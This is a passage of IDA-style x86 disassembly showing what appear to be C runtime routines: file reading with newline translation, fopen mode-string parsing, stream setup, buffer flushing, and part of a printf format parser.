sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC700 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC600h[eax*4] mov eax, dword_4DC600[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2710000h test eax, eax jnz short loc_41F1E4 nop call near ptr 26807C8h push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB2A8, 9 mov dword_4DB2AC, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2710000h test eax, eax jnz short loc_41F285 nop call near ptr 26807C8h test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB328 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB494 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB490 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5E0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB5C8 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB5C8 mov [edi+ecx], eax mov eax, dword_4DB5C8 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C328 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C328 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA38 jz short loc_41F5EA cmp esi, offset dword_43CA58 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C980 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C328 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C544 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C540 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8D0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8DC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8D4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C540 mov 